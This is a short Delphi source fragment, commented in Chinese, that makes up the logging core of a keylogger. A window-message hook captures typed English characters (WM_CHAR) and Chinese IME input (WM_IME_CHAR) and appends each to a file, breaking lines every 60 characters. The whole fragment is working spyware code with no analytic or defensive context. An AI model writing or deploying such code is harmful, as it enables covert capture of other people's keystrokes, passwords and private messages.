procedure SaveInfo(str: string);stdcall
var
f: textfile;
begin
AssignFile(f, FILENAME);
if FileExists(FILENAME)=false then
ReWrite(f)
else
Append(f);
if StrComp(pChar(str),pChar('#13#10'))=0 then
Writeln(f, '')
else
Write(f, str);
CloseFile(f);
end;
procedure HookProc(hwnd: integer; Msg: integer; wParam: WPARAM; lParam: LPARAM);stdcall
begin
if (Msg = WM_CHAR) and (lParam <> 1) then// 如果是英文
begin
SaveInfo(format('%s',[chr(wParam and $FF)]));
inc(g_pShare^.iCount);
if g_pShare.iCount > 60 then
begin
SaveInfo('#13#10');
g_pShare^.iCount := 0;
end;
end;
if (Msg = WM_IME_CHAR) then//如果是汉字
begin
SaveInfo(format('%s%s',[chr((wParam shr 8) and $FF),chr(wParam and $FF)]));
inc(g_pShare^.iCount, 2);
end
end;